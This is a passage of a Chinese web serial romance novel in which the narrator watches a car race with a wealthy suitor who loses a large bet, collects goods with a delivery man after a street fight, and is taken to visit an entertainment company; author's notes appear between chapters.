我似懂非懂,心想大概就是压谁赢,和在网吧看?电竞比赛一样。 “那你压谁了?”我好奇地问。 他没有?回答,而是反问道:“你想玩吗?” 我都不认识那些队是谁,但霍亦瑀把?平板递到我手下,姿态随意:“没关系,随便选一个吧。” 参赛选手的名字还是鸟文,三长?一短选最?短,现在十几个长?里有?一个短的,我秉持着做题的原则点击它。 按下后,屏幕切换到输入数字的页面?。 霍亦瑀说:“再想个数字。” “最?低多少?啊?” 他拿起杯子喝水,平淡地说:“100。” 我摸摸下巴,手指随便按了四次。 屏幕上显示出:5419 霍亦瑀收回平板,按下确认。 确认的瞬间,短短的名字后面突然蹦出一长串的零,排名骤然跳动,重新出?现时已经登顶第一。 他像没看?到一样放下平板,手臂搭在沙发靠背上,声音里淌过不明显的电流声:“一个小时后,我们能知道结果。” “预测概率9.57%。”他轻笑了下,“我还没玩过这种风险投资。” “可惜你的五千块钱了。” 我一边对桌上的零食挑挑拣拣,一边说,在发现平板可以?点单后,极其阔绰地点了七八个餐点。 “如果赢了呢,说不定你是我的幸运星。” 闻言,我转过头,对上浅色的眸子,颜色越浅,越像是某种野兽。 我的脑子突然蹦出?动物?园的场景,背对狮子的时候,它们会默默地盯着,在转身的那一刻扑上来,然后不停地擦玻璃窗。 他一直在看?我,视线灼烧着后脖颈。 “那我也要分红才行。”我认真地强调,“你赢了有?我一半功劳。” “全是你的功劳。”他的脸上浮现笑意,从善如流地说。 过了一会,形状酷炫的赛车开上跑道,包厢正对面?的挡板上镶嵌着液晶屏幕,正显示出?准备的选手们。 我看?了一会,转头朝右边看?去。 房间里也有?块高清屏幕,比外面?的更清晰。 霍亦瑀按下某个按键,室外音如潮水般涌入,仿佛正坐在外面?的座位上,聆听引擎嗡嗡作响的声音。 屏幕上的赛车选手装扮严谨,头盔挡住他们的脸,但仍然能从头盔看?出?紧张的情绪。 主持人挨个进行介绍,楼下爆发出?一阵接一阵的欢呼声。 我好奇地问:“他们的工资是多少?啊?” “高的一年大概过亿。” 我哇了一声,又发现一个超级能赚钱的职业。 “和当演员差不多诶。” 霍亦瑀手抵在下巴处,挑眉问:“你想当演员?” “嗯……”我歪头思考,“我还没想好要做什么,但是不工作肯定是最?好的。” “工作不一定无聊,关键是有?没有?选好工作。” 他饶有?兴致地问:“你讨厌现在的工作?” “天天待在那里不好玩啦,看?男公关也会看?腻。” 霍亦瑀轻笑,像是心理咨询师一样态度温和:“那要找个新的吗。” “不知道。” 我心思一转,问:“你缺不缺员工?” 他状似沉吟,嘴边噙着笑意,浅淡的瞳色在光下像是会发光,微微刺目,当视线相对时,总会有?种被?抓住的感觉。 “或许有?个职位空缺。” 我好奇地问:“什么?” 话还没说出?口,门突然被?敲响。 霍亦瑀停下话头,起身来到门口,打开一条门缝。 属于?另一个人的声音响起,不是工作人员,说话时没有?恭敬礼貌,嗓音像是吃了丝绒蛋糕,有?股独特的慵懒感。 “来了怎么不跟我说一声。”外面?的人语气熟稔地抱怨道。 “什么时候有?空有?空来看?赛车了,刚才那个是做的吧,投了五千万,你被?谁盗刷了?” “想投就投了。” 霍亦瑀手把?着门,让我看?不清外面?的人的模样,隐约可见?衣服的一角,摆在深红色地毯上的皮鞋亮着光。 “……你挡着干嘛?” 外面?的人往里面?张望,但被?霍亦瑀挡住,于?是声量提高,看?戏似地、笃定地说:“里面?有?人。” “是有?。”霍亦瑀仍然挡着,慢悠悠地说,“下次会找你,比赛快开始,你该回去了。” “明目张胆地赶人真有?你的,回国?神神秘秘,把?我当你亲戚整啊。” 来人语气不爽,但很快脚步声响起,他离开了。 关上门后,霍亦瑀回到我身边:“一个朋友。” 我念叨着:“五千万?” 他挑起眉,从鼻腔里发出?淡淡的嗯声。 我猛地拿起平板看?排行榜,认真地说:“你一定要赢!” 要是赢了,我能分一半呢。 霍亦瑀在我身边坐下,饶有?兴致地看?着我。 外面?传来一声闪亮的哨声,紧接着主持人开始念起台词,赛车手们纷纷进场,屏幕上依次出?现他们的脸。 吵嚷的人群安静下来,全神贯注在赛道上。 一声令下,赛车齐齐冲出?。 嗖嗖嗖的声响震动地板,像是闪电。 排行榜后的金额固定,但每个名字的顺序发生变化,按照赛车的前后次序升降,缀着最?长?金额的车落到中?间,被?前后夹击。 嗖! 再次出?现在面?前赛道时,我才看?清投资的赛车长?啥样,通体黑色,形状像个梭子,顶部是火焰般的红。 车速越来越快,眼看?要超过前面?的车,我的心也提了起来。 五千万—— 轰隆!宛如一道惊雷在耳边砸向。 主持人激动地说:“第15号车正在弯道等等,它的底盘燃烧火光……它失误了!它撞在护栏上了!” “这次被?重金押注的潜力之星——出?场!” 五千万没了。我瞬间死?鱼眼。 还以?为是一穿十的神级现场,结果水灵灵地在半路失控撞上旁边的防护栏。 我忍不住对霍亦瑀说:“下次有?这个钱,投资我吧。” 五千万飞灰湮灭,他面?不改色,连眉头都没弯,心情愉悦地说:“好啊。” 我上网搜索这个货的名字,进入他的广场,毫不留情地吐槽,他的粉丝也没几个,连反驳我的都没有?。 剩下的比赛前面?的车跑得飞快,后面?想追也追不上,属于?前面?的较量,和落后的人永远无关。 焦灼的咬紧后,在最?后一圈决出?了胜负。 赢的是那个本该在赌注排行第一的人。 “果然。”我感慨道,“还是要跟着胜率选。” “也不一定呢。” 霍亦瑀悠闲地说:“总会有?超越的事发生,只?不过今天没有?被?我们遇到而已。” “那你会做这种投资吗。” “我投资没亏过。”他挑起眉,浅色的瞳孔锁定我,陡然笑了起来。 钱多就是好,亏了也觉得自己没亏。 比赛结束,工作人员敲门进入,递来胶皮板子,上面?夹着一张白纸,霍亦瑀拿起笔签名,紧接着后面?的人把?包装精致的礼物?递给我。 我打开一看?,发现是香水和奖牌,奖牌有?点眼熟,就是前不久屏幕上的选手佩戴上的那个。 我不由歪头看?向霍亦瑀。 “我两个都选了。”他说,“你的投资也没有?亏。” 属于?第一的获奖证明落进我的手里。 那么另一个呢?我拿起香水,发现后面?还有?一张明信片,打开一看?,写着不懂的鸟语。 等我看?完,霍亦瑀抽走我手里的卡,盯着看?了下,转手丢进垃圾桶里,哼笑道:“香水是主办方送的,你不喜欢可以?丢了。” 我才不丢呢,我要拿去卖了。 看?着我把?东西收好后,他问道:“今天开心吗?” “好玩。”我说,“但是没有?上次好玩。” 霍亦瑀替我推开门,嘴边浮现出?笑的弧度,状似可惜地叹了口气,随口道:“因为没有?遇到讨厌的人吗?” 走到大厅时,他忽然停下脚步。 “我对下次约会有?新的想法。” 我也停了下来,好奇地问:“是什么?” 他不肯说,像个神秘兮兮的魔术师,故作玄虚:“说出?来就不是惊喜了,但我肯定你会喜欢。” 霍亦瑀哪里都比柯觅山好,但在说意味不明的话上,他们达成了一致。 男人可能都有?爱点爱秀的病。 我说:“我还以?为你会比柯觅山忙。” “真遗憾,想要到达我这样,他可能还需要再努力个十年。” 霍亦瑀笑容温和:“我可以?给你的,他永远给不了。” “你说过等价交换。”我摸了摸下巴,思考道,“那你想要什么。” 他低下头,朝我靠近了些,靠近点我就告诉你。” 在我凑近时,他压低声音说:“不要着急,我已经在行动了,很快就能得偿所愿。” 温热的呼吸擦过耳畔。“我想要的东西,从来没有?得不到的。” “转头。”他突然说。 “你讨厌的人来了。” 薄荷气味率先渗了过来,带着一股无形的凉意。 几天不见?的宗朔站在一位女士身边,脸上挂着笑,在看?到我的时候,笑意淡了一点,转眼看?向我旁边的男人。 “你的老板。” 霍亦瑀轻笑:“他在工作呢。” 我怎么不知道还在外陪服务了,难不成我走了,他就立马开发出?新的玩法了吗? 我看?向宗朔的眼神逐渐刻薄。 他旁边的女士停下脚步,不轻不重地拍了他一下,然后来到我们前面?,态度熟稔地打招呼。 霍亦瑀颔首,视线扫过宗朔。 女士笑了下,自然地说:“柯总的建议,我带出?来玩玩,没想到正好碰上你了,我还以?为颜升会在你旁边呢。” “他忙呢。”霍亦瑀笑道,“都是朋友嘛,带谁不一样呢。” 女人状似恍然大悟,温和地看?了我一眼,礼貌地告退:“我还有?事,先走一步,下次见?。” “下次见?。” 女人先走,宗朔不作声色地跟了上去,路过时,他的视线落在我身上,眯起眼睛,不带情绪地笑了下。 等他们的背影消失在门口,霍亦瑀低下头,在我耳边说:“说起来你的老板我认识。” “大学的时候,他和我是同学,不过经过这么多年,没想到他去开男公关店了。” “他居然搞新服务。” 我郁闷道:“怪不得最?近这么安静。” “正常嘛。” 霍亦瑀收回视线,“人总是会变的。” 赛车比赛结束后,他送我回家。 路上,我的手机弹出?消息。 [宗贱朔人]:今天晚上来吗? [宗贱朔人]:不上班,总可以?上人吧 可是他都被?包了,怎么还让我去啊,有?点意味不明。 存在感极强的视线落在我身上,霍亦瑀正在看?着我,他的视线向下,落在我的手机上。 “树挪死?,人挪活。” 他说:“你有?想过去其他地方吗。” 我指了下自己,疑惑道:“我看?上去像是会立马跑路的人吗?为什么都这么说。” “嗯。”他打量着我,“你看?上去不应该只?待在一个地方。” “可是不想诶。” “先别急着反驳。” 霍亦瑀弯起眼睛,笃定道:“说不定很快你就会改变想法。” 车行驶至楼下,浅色的瞳色愈发的亮,车内灯光晦暗,他接近我,手掌覆盖在发光手机屏幕上,一字一句说:“从现在开始期待,好吗?” 我看?看?他,又看?看?手机,点了点头。 [世界第一恶魔大人]:不去 [世界第一恶魔大人]:我有?更感兴趣的事了—— 作者有话说:我又来迟了,哎哟喂我有拖延症[爆哭] 我要再解释一下宗朔的心理了 首先他对小咚看上去很好,是因为此人很装,而且喜欢施舍别人,被别人需要的感觉,不觉得他跑去跟高中生玩很诡异吗(!),之前做过一段时间的天之骄子,然后突然破产,自尊一直很高,当男公关也要当顶尖的(?),当初开男公关店是和几个人朋友开玩笑,但破产之后就不是朋友了,在恶意的眼光里选择一路走黑,觉得自己选择了独特的生活方式,虽然没有以前好,但还是很好(在骄傲什么) 遇上小咚后,觉得被需要了,在小孩面前装波大的,也可以跟咚玩暧昧,觉得自己可宠了,但等来到店里之后,他的控制欲就暴露了,尤其喜欢监控,知道咚和泉之后,觉得有点膈应,但维持着年长者的“大度”,等咚把拙弄进医院后,立马觉得自己被需要了,又开始爽,他的占有欲比较低,但这个时候上涨了,成为跑友后想法也和以前有区别,觉得两个人才是最亲的,可以包容咚做任何事,觉得自己很“大度”,结果咚搞出新的人,还不是店里的,一天不回消息有点怒了,惹到大人物导致伤害自身利益,彻底怒了 现在是冷了几天发现竟然不来了,心里有点凉,打算给彼此个台阶下(损招) (出现在赛车场是宗因为上次的事赔罪,柯谷菱让朋友为难他一下,对她来说就是不爽就做了的事,没什么意思,反正就是随手整了这个男的一下) 第63章 虽然暂时告别了社畜生活, 但奢侈品的生意还得继续。 因为?我深深明白一个道理:人?可以躺平,但钱不能不来。 自从?上次后,我和霍亦瑀的聊天次数增加,他偶尔会分享自己的日常, 发来几张照片, 不是在开会, 就是在飞机上。 不过不像柯觅山,他鲜少发动态,维持着神秘主义。 在“惊喜”上,他也坚持保持着神秘。 我好奇得抓心挠肺, 接连旁敲侧击、狂发消息,他轻而易举地绕过话?题,每天我都在念叨“惊喜”的事, 他都说快了。 等到周一,我终于懒散地出了门。 这段时间?里我一直在学习当有钱人?的修养,发现好多人?都喜欢拍vlog,所以也拿起手机拍摄日常, 但整天待在家里,手机最多的不是哥哥就是浦真天。 上出租车时,我拿着手机拍天空,下了车也仍然盯着手机, 用?小块的屏幕观察世界。 取货地点不在上次的女装店, 换了一个偏僻的角落, 距离公寓不近不远, 大概十?分钟的车程。 附近的房屋低矮破败,偏偏夹杂着几栋格格不入的现代化住宅,活像在一盘剩菜里放了几块精致点心。 越往里走越旧。 拍摄这种东西, 完全?和有钱沾不上半点关系吧。 虽然破了点,但我的还是没有放下手机,百无聊赖地拍拍地上的草、破烂的广告牌以及同样灰扑扑的路人?。 屏幕里的人?露出像是被光照到的动物的表情。 他们?对手机很敏感?,被我框入镜头里后,立马停下脚步,急切地向我走来,手里还攥着传单一样的东西。 原来是发广告的。 但很抱歉,我从?来不收广告。 寒风卷起落叶,巷道发出呜呜的风声。 我举着手机走进旁边的巷道里,按照定位往深处走去。 身后的脚步声杂乱地逼近,发广告的还在追我。 手机屏幕里记录着脏乱、灰暗的画面,再进去一点似乎能听到有人?在叫骂,发出痛呼声。 仔细听,还有奇怪的像是麻将机运作的声响。 苍白的阳光洒进巷道,干枯的绿镶嵌在墙壁里,居民楼门窗紧闭,像是一座死?城。 作为?背景音乐的脚步似乎在加速。 屏幕晃动,镜头里终于出现其他的活物。 巷道被光割成明暗不同的两块,卷发男生抬起头,松开昏死?过去男人?的衣领,脸被冬日的阳光照亮。 熟悉的外卖服,熟悉的人?。 只不过脸上青一块紫一块,嘴角淤青,衣服溅血,身边倒了七八个人?。 邛浚直直地看向摄像头,丝毫也不意外,举起手比了个耶 他撒娇般朝我抱怨道:“说不准我迟到,怎么你还迟到了。” 我的视线移向他脚边倒下的、抱着手臂痛呼的人?,棍棒武器散落在旁边,躺尸的人?发出断断续续的痛呼声。 我有种不妙的预感?。 ——这次的货可能是偷的!而且还可能没被偷! 紧接着,身后传来不善的质问声:“你在干嘛?!” “对啊,你在干嘛?!”我也跟着喊了一声。 邛浚顶着一脸的伤,没事人?似地靠近我,强行把手放在我的肩上,亲密地揽着我。 他疑惑地指下自己,然后看了眼地上的人?,理直气壮地说:“还能干嘛,我们?在扫垃圾啊。” 说完,他默契地朝我眨了下眼,弯腰从?满地狼藉中精准捡起一个外卖头盔。 邛浚把头盔夹在臂弯中,叹了口气,亲密地、半带着怨气地抬手抱怨。 “你来得不是时候呢,我这趟外卖还没送完,刚才的运动差点把汤给洒了,也不知?道顾客有没有买准时宝,要?不然我要?赔钱的啊,这部?分损失谁来赔给我呢。” 说着。他轻轻踢了下脚边的人?,“耽误我时间?,你们?总要?做点表示吧。” 发广告的完全?被无视了。 我才发现他们?长得格外不和善,语气冲人?:“你是哪里来的,我们?这片可不会有人?点外卖!” “真的吗?”邛浚故作震惊,“竟然穷成这样。” “你——” 对方怒火冲天,想要?冲过来抓住邛浚的领子?,但有人?按住他,小声地说了句什么。 领头的人?脸色瞬间?难看,最终忍住怒火,和周围的人?对视着,压低声音交谈,火急火燎地商量接下来要?怎么做。 发广告的和送外卖的起冲突也算是一种商战。 但和我一点关系也没有。 我抱着手臂问:“货呢?” “哎呀。” 邛浚皱了下鼻子?,可怜巴巴地指着脸上的伤口,“不应该先关心我吗?我受伤了诶。” “手和脚还没断,不耽误工作。” “哇,超级冷酷啊。” 他竖起大拇指,笑着露出整齐的白牙,卷毛在空中晃动:“别急,等会它自己会送上门的。” 我狐疑地说:“货会长腿?” “有可能哦。” 邛浚靠着我,又开始絮絮叨叨。 “最近我真的很倒霉哦,不仅兼职中断,因为?不小心撵到路边的野狗,竟然被记恨上,只要?路过就会被狂追,幸好没咬中,要?不然我要?去打狂犬疫苗,一针几千呢。” “狗有那么记仇吗?” 在我的印象里,被不小心踩到尾巴只会呜呜地叫,从?没有追着不放的。 “很记仇哦。” 邛浚竖起食指,认真地说:“那可是没有主人?的野狗。” 两颗对称的痣近在咫尺,说话?间?邛浚越离越近,恨不得贴在一起,黑黝黝的眼睛一瞬不移地盯着我。 “你不觉得你离得太近了吗。” 我阻止他毫无自觉的行为?,用?手抵着他的额头,将人?用?力往后推。 邛浚恍然大悟般直起身,哎呀了一声:“完全?没有感?觉到诶,好久没见你了嘛,想看看你哪里变了。” “总感?觉变了诶,哪里呢……好像更有精神了。” “因为?我不工作了。” 我抢先回答,得意地说:“每天在家里躺着,想干什么就干什么,你知?道有多爽吗。” “哇。”他夸张地赞叹道,“竟然已经实现财富自由,可以告诉我是怎么做到的吗。” 我摇头:“你不行。” “为?什么?” “因为?你不是我。” 邛浚再次弓下腰,搭在我肩上的手臂收紧,像只蟒蛇似的,语气亲密地说:“那让我来猜猜,你是怎么做到的。” “是不是有人?送了你什么,给你什么。” “再让我猜猜那个人?的名字。” 他作势思考,忽然眼睛亮起,爽快地说:“是不是上次那个,那我也是你的助攻啊,真高兴啊,原来你的快乐里也有我的帮助啊。” 说完,他露出令人?不爽的、自顾自爽朗的表情。 我用?手狠狠地揪住他脸上的伤口,看着他疼得龇牙咧嘴蹦开,捂着脸痛呼。 不远处的那群人?脸色便秘,欲言又止,在我看去的时候,他们?不自在地移开视线,气势汹汹变为?局促尴尬。 我想了想,拿起手机对他们?拍了一张。 其中一个人?立马警惕起来:“你在干嘛?刚才是不是拍照了。” “对。” 我干脆地承认:“我在制作vlog。” 他费解地皱着眉,嘀咕道:“什么五老哥,到底想干什么……” 领头的人?呵斥了一句,让他不要?跟我们?说话?,仍然警戒地看着我们?,像是在看随时会攻击的野生动物似的。 主要?是看着我旁边的邛浚。 但他像是不知?道为?什么似的,无辜地对着我笑。 我把周围拍了个遍,问:“还要?多久?” 他拉开衣袖,看着光溜溜的手腕:“大概还有五分钟吧。” “你压根没有表。” 我用?看神经病的目光看着他。 邛浚:“放心啦,我的记忆力很好。” 说话?的时候,原本?躺在地上的人?晃晃悠悠地站了起来,其余人?在肮脏的巷道里睡得格外香甜,无人?在意。 站起来的人?脸上满是血,头上顶着硕大的包,踉跄地走了一步,神志不清地捂着头,朝我们?看来。 在看清的时候,他猛地往后退去,大叫着:“你怎么还在?!爹的,其他人?呢——我靠!” 他踩在棍子?上,狠狠地摔倒在地,又晕了过去。 空气突然安静。 但不远处几人?的眼神开始吵闹,如果眼神能杀人?,邛浚已经被砍成臊子?了。 我摸了摸下巴,问:“他们?为?什么对你动手?” 邛浚摊开手,看上去十?分无奈。 “因为?看我不爽吧,像我这么帅的外卖员很少见了,要?不然就是想抢外卖,这片地方的人?穷凶极恶,什么都干得出来哦。” 发广告的本?地人?两眼冒火,差点冲上来给邛浚揍了,但他们?忍住了,还在商量对策。 而邛浚悠闲地站着,像是观光客一样打量欣赏破烂的巷道。 “我们?现在干嘛?” “等货长腿送到面前呀。” “……” 我沉思几秒,抬脚往外走。 原本?商量得正欢的本?地人?一看,立马警惕地围了上来,粗鲁地说:“你们?不能走。” “别走嘛。”邛浚快速拉住我,手臂再次搭上肩膀,安抚道,“货还没来呢。” 如果能坐着或者躺着,我的耐心一定比他们?都多,但现在我的耐心即将告罄。 “还有几分钟。” “快了快了。” 邛浚的手臂牢固地抓着我,力道极大,亲密地、安抚性地凑近耳边说话?:“差不多一分钟吧,嗯,三?十?秒、十?秒……三?、二?、一。” 他抬头看去。 紧密的脚步声响起,围着我们?的人?让开路。 熟悉的脸进入视野里。 穿着黑色外衣,浑身上下只有脸和露出的一截衬衫是白色的麦景,身后跟着气势惊人?的黑衣人?。 放眼看去,像是巷道落下一群乌鸦。 “小冬。” 麦景喊了我一声,停下脚步,看了眼攀着我的邛浚,表情冷凝。 我的注意被试图躲起来的彪形大汉吸引,这张脸越看越眼熟…… “这不是那个大叔吗。” 那个找麦景麻烦,在街头打他,然后又被我们?遇到钓鱼空军的大叔。 面容粗犷的男人?尴尬地低下头:“哈哈……好巧。” 他往后退了一步,努力板着脸躲在众人?身后。 我终于看向麦景,疑惑地问:“你在这里做什么?” 沉默片刻。 麦景:“我住在附近。” “听到有动静过来看看。” 他平静地说,脸上没有什么表情,微微垂着头,忽然解下戴着的黑色手套,走到我面前。 麦景没有动作,而是看向紧挨着我的邛浚。 无声的几秒后,邛浚松开手,伸了个懒腰,将手背在脑后。 “真巧呢,没想到会遇到熟人?,说起来,你们?两个都辞职了吧。” 麦景抬起手,轻轻地触碰了下我的脸颊,手指上多出一抹红。 邛浚把身上血蹭到我身上了! 我低下头看自己,在衣服上发现了同样的血。 “赔我衣服。”我愤怒地揪住假装无事发生的邛浚。 “我帮你洗。” 他被我揪住脖颈,声音含糊不清,眼睛笑弯了:“都怪脚边的这群家伙啦,等会我讹、啊不,要?到赔偿费跟你平分。” 我勉强放下手。 麦景默默地掏出手帕,仔细地给我擦拭血迹。 他衣服很单薄,呼出的白气在寒冷空气中缭绕。 “不冷吗?”我问。 “……有点。” 他垂着头,用?力地将血擦去:“但是习惯就好了。” 我看着他的黑色脑袋,发丝遮掩下的耳朵冻得发红。 我想了想,问:“你不去[极乐世界]了?” “你不在,我也没有理由去。”他的声音停顿片刻,“而且我有其他的事要?做,比较忙。” “什么事?” “……家里的一点事。” 邛浚挤了过来,笑嘻嘻地说:“货拿来了吗?我和小冬要?用?呢,对了,王老板的身体还健康吗。” “他还活着。” 麦景将手帕揣进兜里,面无表情地说:“东西放在巷口了,以后不要?再来这里,就算我没有话?说,其他人?也会有异议。” 他说:“现在已经不是以前了。” 邛浚摇头晃脑,感?慨道:“太快了,又到了和新人?打交道的时候,你也别太小心眼,我只是个做生意的而已。” “不是我。” 麦景瞥了他一眼,冷淡地说:“是你惹了其他人?。” 邛浚摸摸下巴,片刻后扬起笑:“我知?道了。” 麦景看着我,想要?说什么,但最后握紧手,“我送你们?出去。” 其余人?的视线纷纷转向别处,尤其是那个大叔,原本?目光如炬地看戏,这时猛地低下头,假装无事发生默默地扣手。 我们?经过的时候,他偷偷看我,视线相对,他咯嘣一下仰头看天,用?力过猛,周围的人?都看了过来。 走出巷子?后,我对麦景说:“他打过你吧。” “之前的事是个意外。” 麦景生硬地解释:“因为?家里的事,我们?要?一起处理东西。” 邛浚在旁边插科打诨,“不打不相识嘛。” 麦景面无表情地看了他一眼。 “就到这里吧。” 抵达巷口后,邛浚拍了拍货物,指着不远处的电瓶车说:“等会我们?自己运回去。” “……” 麦景看向我,说:“小冬,我可以帮忙。” 我看着他,又看向了旁边的人?。 邛浚笑容不变,目光在我们?身上打转,黑黝黝的瞳仁过大显得有点渗人?。 “你先走吧。”我对麦景说。 他站在原地没动,在邛浚贴心的提醒下才转过身,重新走进巷道里。 现在巷道里还倒着一堆人?,不知?道要?怎么处理,一人?抬一个回去吗? 邛浚的话?打断了我的思考。 他轻松地抱起箱子?,朝着不远处的电瓶车走去:“我有架子?,等会绑在电瓶车上就行。” “你的外卖订单呢,不用?管了?” 他转头冲我灿烂一笑,“咱们?的合作更重要?嘛。” “因为?压根就没有吧。” 我抓住他命运的后脖颈,拉住他的外套领口,冷笑道:“一定要?我过来拿货,你的居心叵测。” “肯定是做了什么不要?脸的事。” 他哎哎地叫了两声,无辜地说:“我没有呀,天地良心,我对你是真心实意的。” 不对。绝对有哪里不对。 我鄙夷地看了他几秒,动手胡乱地摸他的包,“车钥匙在哪里,快点交出来。” “在裤兜里啦。”他笑嘻嘻地说,“放在裤兜才不会轻易地掉落。” 我探进他的裤兜,在温暖的体温里掏出钥匙。 邛浚举起箱子?:“怎么了?要?帮我开车吗?” 帮个屁。我歹念横生,直接踹了他一脚,飞快地跑上电瓶车,转头一看,他捂着屁股瞪大眼睛,难以置信地看着我。 我冷笑道:“虽然不知?道你做了什么,但是你错了!” “惩罚你自己把货送进[极乐世界]。” “哎呀,我错了。”他双手合十?,可怜巴巴地弯下腰,“对不起,小冬大人?,我不该让你生气。” “已经晚了。” 我无情地启动电瓶车,捏紧油门:“你的电瓶是我的了。” 嗡嗡嗡。电瓶冲飞出去。 邛浚被我甩在身后,通过后视镜看,这人?竟然在原地笑弯了腰。 电瓶车的速度比我预想中要?快,冷风哗啦啦地灌进衣袖和领子?里,开到一半我才想起没带头盔,警惕地四处张望,生怕角落里蹿出交警。 但通往回家的路上寂静冷清,一个人?也没有,只有轿车和面包车偶尔驶过。 第一次开电瓶车,但我渐入佳境,人?车合一,有种贴着地面飞行的感?觉。 我不禁惋惜,原来开电瓶车和坐是不一样的感?觉,怎么没有早点尝试呢,应该早点偷走邛浚的电瓶车。 结果没想到,行驶到半路,电瓶车哔哔叫了两声,没电了。 风驰电掣变成乌龟前进,最后只能靠推才能挪动。 我拿出手机,充满怨气地点开和邛浚的聊天界面。 [邛浚(小心诈骗)]:货我已经送到店了,宗老板还问你怎么不在 [邛浚(小心诈骗)]:看来你还没有跟他辞职呀 [邛浚(小心诈骗)]:要?我转告他吗(小熊跳舞.gif) [世界第一恶魔大人?]:你为?什么不充电 [邛浚(小心诈骗)]:诶? [世界第一恶魔大人?]:我讨厌你! [世界第一恶魔大人?]:(照片) [世界第一恶魔大人?]:放路边了,你自取 [邛浚(小心诈骗)]:不要?啊,我的美团二?号! [邛浚(小心诈骗)]:我会哭哦 他最好是哭了! 我揣着钥匙走人?,这条路上干干净净,马路边只有一家孤零零的加油站,再远一点的地方立着巨大的路牌,距离转向公寓的路口有一公里。 距离不远,干脆走回去吧。 我先走进加油站的便利店买了一把泡泡糖,一边拿出手机拍照,一边咀嚼着色素味的泡泡糖。 出来的时候是下午,夕阳火红,把半边天点燃。 拍摄这种东西,好像是所有人?都能看到的。 我干脆放下手机,认真地走路。 夕阳下万物俱静,马路旁边是平坦的草地,再远一点是灰扑扑的建筑,再远一点才能看到闪光的城市。 像以前放学的时候。 哥哥来接我的时候,总是在傍晚夕阳时分。 冬天黑得很早,经常能在放学的时候看到落下的太阳,一边吃泡泡糖,一边牵着他回家的日子?已经开始模糊。 几年而已,但记忆已经不再新鲜。 所以霍亦瑀的惊喜到底是什么,好想知?道! 我拿出手机,拍了张夕阳的图片发给他。 [世界第一恶魔大人?]:(照片) [世界第一恶魔大人?]:给你看 [霍亦瑀(超级有钱)]:很好看 [世界第一恶魔大人?]:我想知?道惊喜什么时候到 [霍亦瑀(超级有钱)]:让我想想 [霍亦瑀(超级有钱)]:明天怎么样? [霍亦瑀(超级有钱)]:放心,是你会喜欢的东西 我喜欢的? 我开始沉思,难道要?去银行吗? 走到广告牌下时,我停下脚步,萦绕在鼻尖的巧克力味越来越浓,已经到完全?无法无视地步。 我转过身,看着孤零零的、黑色的麦景。 “你要?跟我回家吗?” 麦景站在距离我不远的距离,眨了下眼:“……我只是想保证你的安全?。” 他缀在我身后,一路跟到这里。 以前,他也有几次跟着我回家,不过差点被哥哥发现,被我警告后就再也没来过了。 “邛浚不是个好人?。” 他走到我旁边,与我并肩而行:“如果可以的话?,让他离远点。” “是他自己黏上来的。” “我可以帮你处理。” 我好奇道:“怎么处理?” “嗯……教、教训一下?”他迟疑地看着我。 “等下次吧,我把他的电瓶丢路边了。” “我看到了。” 我们?沉默地走了一段路,向左转弯的时候,我突然开口:“不工作的话?,你怎么赚钱呢?” “……我会努力的。”他低声说。 “总是说但是不做。”我说,“你是笨蛋吗。” 麦景:“对不起。” 我盯着着他的侧脸看了下,宽宏大量地说:“好吧,笨蛋也有笨蛋的好处。” 至少没有泉卓逸那样粘人?。 “小冬。”他喊我的名字。 “你原谅我了吗?” 这时,我才想起他不仅还没有成为?第一,竟然还迟疑当家里蹲了。 不会想把银行卡要?回去吧? “不要?靠近我。”我立马对他说,“我还没有原谅你。” 麦景老实地点点头,又说了一声对不起,脚步慢了下来,重新缀在我身后不远处,保持着一定的距离跟着我。 走过马路,经过来来往往的行人?,我看到了熟悉的公寓。 夜幕降临,高楼矮楼亮起灯,每个黄色方块都属于某个人?。 走上楼,我往楼下看去,发现他仍然站在原地,立在路灯边,像个被遗弃的物件。 我想了想,还是挥挥手。 楼下的黑影终于动了,他伸出手臂挥了挥,然后一步步消失在街道上—— 作者有话说:我又来晚了(汗) 今天木有话说了,因为本作者身心俱疲,只想要投入读者们的怀抱(抱) 第64章 惊喜揭秘! 原来要去的地方是娱乐公司。 因为霍亦瑀最近投资了一家, 所以想着带我?去看?看?。 虽然不是银行,但得知这个?消息后,我?简直乐疯了,在车上就兴奋得手舞足蹈, 恨不得给车插上翅膀, 一个?劲地催司机开快点。 霍亦瑀被我?反应逗笑:“就这么喜欢吗?” “当然!”我?高兴地说?。 “你简直就是我?肚子里的蛔虫啊, 不久之前我?还在想演员的事?呢。” “有什么感想?” “演员很?赚钱啊。” 我?拿起手机,划拉短剧app给他看?:“现在大家都看?这个?,我?楼下的大姨大叔也看?,坐出租车的时候, 司机也会看?。” “短剧演员和正式的演员不太一样。” 霍亦瑀笑容浅淡:“这个?行业刚起来,不过未来前景很?大。” “当然不一样啦。” 我?说?:“短剧基本?都是屎。” 奈何短时间带来强烈的快感,所以大家都喜欢。 他摇头轻笑, “那你还看?。” “我?没事?做呀。” 他有事?,不是开会就是上班。 我?:“但是我?也不想有事?做,还是每天自在点好。” “因为没找到兴趣吧。” 霍亦瑀嘴角噙着笑,“说?不定很?快你就能找到感兴趣的事?。” “我?发现你除了爱打?游戏, 爱滑雪之外?,只会宅在家里,也不会花钱,平时, 你没有其他的兴趣爱好吗。” 我?想了想, 他说?得很?对, 平时我?完全宅在家里, 懒惰得不想出门。 “还没找到吧。” 我?寻思兴趣爱好是有钱人才会有的,因为我?穷,所以没什么也很?正常啊。 “你平时喜欢做什么?” “看?看?投资风向, 闲的时候我?喜欢去海边,游泳或者坐游艇出航,平时嘛,看?书比较多。” “对了。”他来了兴趣,笑道?,“我?家里养了不少动物,你喜欢动物吗。” 动物啊。我?说?:“我?喜欢狗。” “我?也是。” 霍亦瑀轻笑道?:“下次可以去看?看?我?家的狗。” 我?兴奋地点头,眼巴巴等着车停。 车子最终停在一栋外?观低调的园区楼前,玻璃幕墙映照着飘过的白?云,让我?奇怪的是,门口居然铺着红毯,两旁还站满了列队欢迎的人。 司机默默下车开门,霍亦瑀眯了眯眼,目光在红毯上停留了一瞬。 领头的人先一步来到面前,笑容满脸,毕恭毕敬地说?:“霍总,今天您来真是蓬荜生辉,大家都格外?有动力,就等着您呢。” “看?着不像是在工作的样子。”霍亦瑀似笑非笑,“这么多人,不用工作吗。” 领头的人立马反应过来,表情严肃地朝后面比了个?手势,立在两边的人顷刻间散开,把门口的红毯撤走。 我?还以为每个?公司门口都有,但没想到转眼间人消失得干净,不由?有点失望,现实和短剧的区别还是太大。 “我?们只是来看?看?。” 霍亦瑀站在我?旁边,“你带路吧。” 领头的人脸上闪过一丝慌张,忙地看?了我?一眼,“当然,保证给您介绍得清清楚楚。” 